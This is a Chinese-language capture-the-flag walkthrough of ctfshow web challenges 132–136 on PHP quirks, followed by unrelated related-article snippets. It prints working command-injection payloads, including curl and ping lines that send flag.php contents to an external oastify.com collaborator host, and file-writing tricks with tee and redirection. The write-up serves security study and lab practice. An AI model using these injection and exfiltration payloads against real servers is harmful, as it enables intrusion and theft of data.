ctfshow-web入门-php特性(web132-web136)

news2024/9/21 0:41:59

目录

1、web132

2、web133

3、web134

4、web135

5、web136


1、web132

存在 robots.txt

访问 /admin

需要传三个参数,并且需要满足:

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }

mt_rand(1, 0x36D) 会生成一个 1 到 877(十六进制0x36D)的随机数,因此 $code === mt_rand(1,0x36D) 这个条件很难满足,因为每次都会生成一个新的随机数,$code 很难与这个随机数相等。

当这个条件为假后,&& 后面的条件则不会再继续判断,直接返回 false;

&& 优先级高于 ||,对于 || 我们可以让最后一个条件满足,只要有一个为真都是返回 true。

后面继续判断 $code == 'admin' 即可,payload:

?username=admin&password=&code=admin

拿到 flag:ctfshow{dbe0a94b-b874-4ec4-83e6-b9e4d79b7978}

2、web133

正则表达式过滤掉了一些命令执行函数 ,substr() 函数会返回字符串的一部分,这里只截取了我们传入的前六个字符,然后执行 eval 函数。

六个字符显然不能构造出什么,但是如果我们传入的就是 $F 本身呢?

比如传入:?F=`$F `;sleep 3

观察发现页面确实存在延时,说明 sleep 3 执行成功了。

分析下为什么会这样:

`$F `;sleep 3 会先经过substr($F,0,6)截取六个字符后得到 `$F `;

然后执行 eval("`$F `;");

而其中的 $F 原本是我们传入的内容,即 `$F `;sleep 3;

因此执行的是 eval("``$F `;sleep 3`"); 也就会执行 sleep 3。

这里使用 burpsuite 的 Collaborator Client 结合 curl -F 命令外带 flag:

这个模块说实话我也是第一次用,先随机获取一个域名:

我这里复制下来是:ie06j1rcl08qz5vd887cz1c9f0ls9ix7.oastify.com

构造 payload:

?F=`$F`;+curl -X POST -F xx=@flag.php  http://ie06j1rcl08qz5vd887cz1c9f0ls9ix7.oastify.com

对 payload 的一些解释:

-F 为带文件的形式发送 post 请求;

其中 xx 是上传文件的 name 值,我们可以自定义的,而 flag.php 就是上传的文件 ;

相当于让服务器向 Collaborator 客户端发送 post 请求,内容是flag.php。

提交 get 请求:

之后刷新一下 Collaborator Client 这边:

这里还可以直接命令执行:

?F=`$F`; curl http://7dlviqq1kp7fyuu27x61yqbyepkh8cw1.oastify.com/`ls`

命令的输出将被插入到 curl 命令的 URL 中 

?F=`$F`; curl http://5lrtqoyzsnfd6s20fvez6ojwmnsfg94y.oastify.com/`cat flag.php|grep ctfshow`

因为 flag.php 内容是多行,所以结合 grep 找一下。 

3、web134

代码审计:

if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}

如果通过 GET 或 POST 请求中设置了 key1 或 key2,脚本将停止执行并输出 "nonononono"。

@parse_str($_SERVER['QUERY_STRING']);

解析查询字符串并将变量提取到当前作用域中,@ 用于抑制可能的错误。

extract($_POST);

将 POST 请求中的参数提取为局部变量,这就可能会覆盖已有变量的值,例如 $key1 和 $key2。

payload:

?_POST[key1]=36d&_POST[key2]=36d

解析后,会将 $_POST['key1'] 和 $_POST['key2'] 赋值为 36d;
由于 extract($_POST),这两个 POST 参数会被提取为局部变量 $key1 和 $key2;
这样就能使 $key1 和 $key2 都等于 36d,从而通过最后的条件检查。

查看源码:

拿到 flag:ctfshow{a344ccbb-706d-40bb-a5c9-dfc5b041930b}

4、web135

新增了更多的命令过滤,但是这道题的当前目录可写。

payload:

?F=`$F`; nl f*>1.txt

之后访问 1.txt 即可看到 flag

拿到 flag:ctfshow{f5f86342-7b20-48ae-83a3-cfaa412cecac}

当然还可以用 cp、mv 命令:

?F=`$F`; cp flag.php 2.txt
?F=`$F`; mv flag.php 3.txt

也可以采用 DNS 外带的方法,payload:

?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd 'a-zA-Z0-9-'`.mf5ak5sgm49u09wh9c8g05ddg4mxatyi.oastify.com

用 nl 命令为 flag.php 文件中的每一行添加行号;

用 awk 命令选择第 15 行(flag 在多少行是需要不断尝试出来的);

tr -cd 'a-zA-Z0-9-' 这个命令会删除所有不是字母、数字、减号的内容,原本我想将大括号也保留,但是试了下不行。

这里重启了一下容器,因此 flag 有变动。

第 15 行的 flag1 内容: 

?F=`$F`;+ping `nl flag.php | awk 'NR==16' | tr -cd 'a-zA-Z0-9-' `.mf5ak5sgm49u09wh9c8g05ddg4mxatyi.oastify.com

第 16 行的 flag2 内容: 

flag 分为了两段,flag1 和 flag2,拼接起来,字母都改成小写字母,添加上大括号即可。

5、web136

过滤掉了一些命令和符号

其实我没怎么遇到过这个 exec 函数,尝试执行命令,但是发现回显空白:

在 PHP 中,exec、system 和、passthru 都是用来调用外部 Linux 命令的函数,但它们还是有区别的:

(1)system()

用于执行外部程序;
输出命令的执行结果到标准输出设备,并返回命令的最后一行结果;
可以通过传递第二个参数来捕获命令执行后的返回状态码。

(2)passthru()

用于执行外部程序;
将命令的原始输出直接发送到标准输出设备(通常是浏览器);
不返回任何值,但可以通过第二个参数捕获命令执行后的返回状态码。

(3)exec()

用于执行外部程序;
不会输出结果到标准输出,而是将最后一行结果作为返回值返回;
如果传入第二个参数(数组),可以将所有输出保存到这个数组中;
第三个参数是一个整数变量,用于捕获命令执行后的返回状态码。

我们可以将结果重定向到某个文件,然后再访问对应的文件,但是这里 > 被过滤了,我们可以使用 tee 命令来实现类似的功能,tee 命令可以将命令的输出写入到标准输出的同时写入到一个文件中,payload:

?c=ls|tee 1

访问 1,下载后用记事本打开,发现不存在 flag 相关的文件:

这里的 1.txt是我最开始尝试的:

才发现它过滤掉了点

但是我访问 1.txt,这个文件还是被创建了,并且里面有 ls 命令执行的结果:

仔细看了下代码,才发现这里的过滤其实就是个幌子,只是说匹配到正则会输出 too young too simple sometimes naive! 并没有直接 die 掉的,因此 exec 函数还是会继续执行的。

那我直接用重定向啊哈哈哈:

?c=ls />2.txt

访问 2.txt:

果然是虚晃一枪,发现存在名为 f149_15_h3r3 的文件。

直接读取:

?c=cat /f149_15_h3r3>3.txt

拿到 flag:ctfshow{53b1956a-8a2e-48f1-b443-f0e32d3e36b1}

如果真的是被过滤掉了,那就用 tee 命令代替:

?c=cat /f149_15_h3r3|tee 3

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1948390.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java发送https请求支持tls1.3

说明:java 8_u201及以下版本不支持tls1.3协议发送。最直接的方法是升级到该版本之上。 另外:需要修改一下代码强行使用tls1.3协议。如果只修改代码,不升级java版本会报错找不到该协议。

JavaWeb笔记_JSPEL

一.JSP相关技术 1.1 JSP由来 当我们需要向页面输出大量的HTML代码的时候,我们需要通过response对象写多次来输出HTML代码 response.getWriter().write("<font>文本</font>"); 页面的展示和servlet密不可分,不利于后期代码维护,因此推出一种可以…

docker firewalld 防火墙设置

1、环境 centos 7 firewalld docker-ce docker 默认会更改防护墙配置 导致添加的防火墙策略不生效&#xff0c;可以启用firewalld 重新设置策略 2、启用防火墙 systemctl start firewalld systemctl enable firewalld3、配置文件禁用docker 的iptables /etc/docker/daemon.js…

用在ROS2系统中保持差速轮方向不变的PID程序

在ROS 2中&#xff0c;为了保持差速轮机器人的方向不变&#xff0c;通常需要使用PID&#xff08;Proportional Integral Derivative&#xff09;控制器来控制机器人的角速度。PID控制器可以帮助调整机器人的角速度&#xff0c;以维持其朝向不变。 下面是一个简单的ROS 2节点示…

docker镜像文件加密(Win11)

分享一个可以给docker导出的tar包加密的方法 要使用openssl&#xff0c;地址&#xff1a;openssl安装&#xff0c;安装exe就行&#xff0c;选择不带Light的&#xff0c;下面的是二进制文件 傻瓜式安装&#xff0c;最后的赞助页面&#xff0c;根据自己经济实力选择赞助&#xf…

PWM信号转模拟信号转换器GP8101/GP8101M

前言&#xff1a; 各位大佬&#xff0c;听说过PAC吗&#xff1f;PAC (PWM to Analog Converter)。 今天介绍一个小众的转换芯片&#xff0c;PWM转模拟信号的&#xff0c;有一定的应用场景,单价一元多。这种芯片隔离PWM还是很容易的。 0%-100% PWM to 0-5V/0-10V SOP8封装的GP…

裸机:SDRAM引入

SDRAM引入 SDRAM&#xff1a;Synchronous Dynamic Random Access Memory&#xff0c;同步动态随机存储器 DDR 就是DDR ADRAM DDR SDRAM是Double Data Rate SDRAM的缩写 SDRAM通过地址总线和数据总线接口&#xff08;总线接口&#xff09;与SoC通信。 SDRAM的特性&#xff08…

【Linux】进程IO|重定向|缓冲区|dup2|dup|用户级缓冲区|模拟缓冲区

目录 前言 重定向 实验一 为什么log.txt文件的文件描述符是1 为什么向stdout打印的信息也出现在文件中 实验二 用户级缓冲区 为什么要有用户级缓冲区 系统调用 dup 为什么close(fd1)之后还能向log.txt写入数据&#xff1f; dup2 缓冲区 观察现象 测试1 测试2 测…

IGV.js | 载入自己下载的gtf文件

1.安装 htslib-1.20 https://www.htslib.org/doc/tabix.html J3$ cd ~/Downloads/ $ wget https://github.com/samtools/htslib/releases/download/1.20/htslib-1.20.tar.bz2 $ tar jxvf htslib-1.20.tar.bz2编译安装&#xff1a; $ cd htslib-1.20/ $ ./configure --prefix/…

【图文多模态】

GPT4o 架构的核心是<font color"red">**Transformer**</font>&#xff0c;它通过自注意力机制&#xff08;Self-Attention&#xff09;来处理输入的序列数据端到端的方式训练&#xff1a;即从输入到输出的整个过程都在同一个网络中进行多模态大模型&…

不看后悔 养宠家庭的必备好物——最值得买的宠物空气净化器推荐

"猫毛满天飞&#xff0c;打扫永无尽头&#xff01;"这是多少养猫人的日常写照。或许你已经尝试了各种方法&#xff0c;从手动打扫到普通空气净化器&#xff0c;但效果总是不尽人意。普通空气净化器虽然有点用&#xff0c;但实际上它们并非专为宠物家庭设计&#xff0…

应用层自定义协议以及序列化和反序列化

文章目录 应用层自定义协议以及序列化和反序列化1、应用层自定义协议1.1、应用层1.2、协议 2、序列化和反序列化3、TCP 为什么支持全双工4、jsoncpp基础4.1、序列化4.2、反序列化 5、实现网络版计算器6、手写序列化和反序列化 应用层自定义协议以及序列化和反序列化 1、应用层…

【YOLOv8系列】图像分类篇----通过YOLOv8实现图像分类功能

最近需要使用YOLOv8对自己的数据集进行训练,从而实现图像分类的功能,因此记录一下整个过程。 YOLOv8的github地址:https://github.com/ultralytics/ultralytics 参考链接:超详细YOLOv8图像分类全程概述:环境、训练、验证与预测详解 文章目录 一、YOLOv8环境搭建二、准备…

【C++】:红黑树深度剖析 --- 手撕红黑树!

目录 前言一&#xff0c;红黑树的概念二&#xff0c;红黑树的性质三&#xff0c;红黑树节点的定义四&#xff0c;红黑树的插入操作4.1 第一步4.2 第二步4.3 插入操作的完整代码 五&#xff0c;红黑树的验证六&#xff0c;实现红黑树的完整代码五&#xff0c;红黑树与AVL树的比较…

从 NextJS SSRF 漏洞看 Host 头滥用所带来的危害

前言 本篇博文主要内容是通过代码审计以及场景复现一个 NextJS 的安全漏洞&#xff08;CVE-2024-34351&#xff09;来讲述滥用 Host 头的危害。 严正声明&#xff1a;本博文所讨论的技术仅用于研究学习&#xff0c;旨在增强读者的信息安全意识&#xff0c;提高信息安全防护技能…

Java Linux操作系统

1、操作系统是协助用户调度硬件工作&#xff0c;充当用户和计算机硬件之间的桥梁 2、Linux内核 提供了linux系统的主要功能 3、发行版Centos&#xff1a;内核应用程序 4、快照&#xff1a;保存虚拟机的状态&#xff0c;当虚拟机出现问题的时候&#xff0c;可以恢复原始的状态…

Hospital 14.6.0全开源医院管理预约系统源码

InfyHMS 具有 60 种功能和 9 种不同类型的用户类型&#xff0c; 他们可以登录系统并根据他们的角色访问他们的数据。 源码下载&#xff1a;https://download.csdn.net/download/m0_66047725/89580674 更多资源下载&#xff1a;关注我。

MyBatis--11-- 判断 Integer类型,值为0动态SQL不生效

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 MyBatis标签&#xff1a; Integer类型&#xff0c;值为0动态SQL不生效1.现象2.分析原因3.解决办法去掉判断条件 dto.status ! "即可 MyBatis标签&#xff1a; …

CSS相关记录

文章目录 backgroundposition文字displayflexjustify-contentalign-itemsflex-directionflex-wrap gridimportant transformtranslate&#xff08;位移&#xff09;scale&#xff08;缩放&#xff09;rotate&#xff08;旋转&#xff09;origin (旋转中心点)skew (倾斜 ) borde…

kafka架构+原理+源码

1.安装jdk17 sudo yum -y update sudo wget https://download.oracle.com/java/17/latest/jdk-17_linux-x64_bin.rpm sudo yum -y install ./jdk-17_linux-x64_bin.rpm、 sudo java -version 2.安装kafka How to easily install kafka without zookeeper | Aditya’s Blog …